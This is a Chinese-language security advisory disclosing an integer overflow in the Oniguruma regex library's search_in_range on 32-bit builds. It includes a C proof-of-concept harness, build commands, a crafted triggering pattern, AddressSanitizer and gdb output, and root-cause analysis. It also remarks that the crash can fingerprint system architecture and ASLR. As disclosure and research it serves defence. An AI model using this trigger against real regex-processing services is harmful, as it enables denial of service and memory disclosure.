Oniguruma 6.x(低于 6.9.4_rc2)中 regexec.c 的 search_in_range 函数存在一个整数溢出,导致越界读取,且此读取的偏移量可由攻击者控制。(仅影响 32 位编译版本)。远程攻击者可通过构造的正则表达式造成拒绝服务或信息泄露,或可能产生其他未指定的影响。
研究人员:ManhND of The Tarantula Team, VinCSS (a member of Vingroup)
Oniguruma 由 K. Kosako 开发,是一个 BSD 许可的正则表达式库,支持多种字符编码。Ruby 编程语言(1.9 版本)以及 PHP 的多字节字符串模块(自 PHP5 起)均使用 Oniguruma 作为其正则表达式引擎。它也被用于 Atom、GyazMail Take Command Console、Tera Term、TextMate、Sublime Text 和 SubEthaEdit 等产品中。
以下是用 C 语言编写的 PoC。它将第一个参数作为模式,第二个参数作为要匹配的字符串。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0 ) {
int i;
fprintf(stdout, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stdout, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r);
fprintf(stdout, "ERROR: %s\n", s);
fprintf(stdout, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = argv[1];
char *pattern_end = pattern + strlen(pattern);
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
char* str = argv[2];
char* str_end = str+strlen(str);
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str((UChar* )s, r, &einfo);
fprintf(stdout, "ERROR: %s\n", s);
onig_end();
if (r == ONIGERR_PARSER_BUG ||
r == ONIGERR_STACK_BUG ||
r == ONIGERR_UNDEFINED_BYTECODE ||
r == ONIGERR_UNEXPECTED_BYTECODE) {
return -2;
}
else
return -1;
}
if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
r = search(reg, str, str_end);
} else {
fprintf(stdout, "Invalid string\n");
}
onig_free(reg);
onig_end();
return 0;
}
以 32 位方式编译 Oniguruma 和 PoC:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC
要触发此漏洞,请提供字符串 "x" 以及格式为 "x{a}{b}0" 的模式,其中 a 和 b 小于 100000。例如:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
#0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
#1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
#2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
#3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
#4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
#5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
#6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#7 0x8048b00 (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#
引用的源代码版本:ca7ddbd858dcdc8322d619cf41ab125a2603a0d4
根本原因来自 regex.c:5365 这一行,其中发生了整数溢出:
5360 sch_range = (UChar* )range;
5361 if (reg->dmax != 0) {
5362 if (reg->dmax == INFINITE_LEN)
5363 sch_range = (UChar* )end;
5364 else {
5365 sch_range += reg->dmax; // // => 溢出
5366 if (sch_range > end) sch_range = (UChar* )end;
5367 }
5368 }
当 reg->dmax 获得足够大的值时会发生整数溢出。reg->dmax 似乎是某个距离,等于模式 "x{<number>}y" 中的 <number>,其中 x 可以是任何字符,y 必须是一个数字。例如,如果提供模式 "a{1000}5",则 reg->dmax = 1000。请参见以下使用 "./PoC a{1000}5 b" 的 gdb 日志:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # 在 onig_new 之后设置断点
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0",
exact_end = 0xf6500431 "",
map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>,
map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)
对于形式为 "x{<number>}y" 的模式,dmax 的最大值为 100000,因为重复次数不能超过 100000(ONIG_MAX_REPEAT_NUM)。然而,如果提供格式为 "x{<number1>}{<number2>}y" 的模式,我们将得到 reg->dmax = number1 * number2。此乘法在以下代码(regcomp.c:6157)中完成:
6156 else {
6157 max = distance_multiply(xo.len.max, qn->upper); // // => 乘入 dmax
6158 }
请参见以下使用 "./PoC a{1000}{2}5 b" 的 gdb 日志:
(gdb) r a{1000}{2}5 b
...
Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
61 if (r != ONIG_NORMAL) {
(gdb) p *reg
$3 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5,
ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0,
num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0,
push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0,
stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90,
enc = 0x8139e00 <OnigEncodingASCII>, options = 1,
syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824,
name_table = 0x0, optimize = 2, threshold_len = 2001, anchor = 0,
anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "5",
exact_end = 0xf6500431 "",
map = '\002' <repeats 53 times>, "\001", '\002' <repeats 202 times>,
map_offset = 1, dmin = 2000, dmax = 2000, extp = 0x0}
(gdb)
更进一步,重复次数可以任意嵌套:
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk
因此,dmax(一个无符号整数)可以是 [0, 0xffffffff) 范围内的任何值,并且 sch_range += reg->dmax; 处的整数溢出是绝对可能的。同样的情况也适用于 reg->dmin。
然而,此整数溢出仅适用于 32 位版本。对于 64 位版本,sch_range 是 64 位指针,而 dmax 仍然是无符号整数,因此不会发生整数溢出。
上面的 PoC 崩溃是因为在 sunday_quick_search 中,整数溢出导致解引用无效的内存地址:
while (s < end) {
p = s;
t = tail;
while (*p == *t) { // => p 指向无效地址
if (t == target) return (UChar* )p;
p--; t--;
}
if (s + map_offset >= text_end) break;
s += reg->map[*(s + map_offset)];
}
如果启用了 ASLR 并且提供了适当的模式,ASLR 有时会将有效页面映射到被解引用的地址,有时不会映射任何页面,因此 PoC 有时会崩溃,有时不会。因此,此 PoC 可用于检测目标系统是 32 位还是 64 位。如果是 32 位,我们可以检测 ASLR 是否已启用。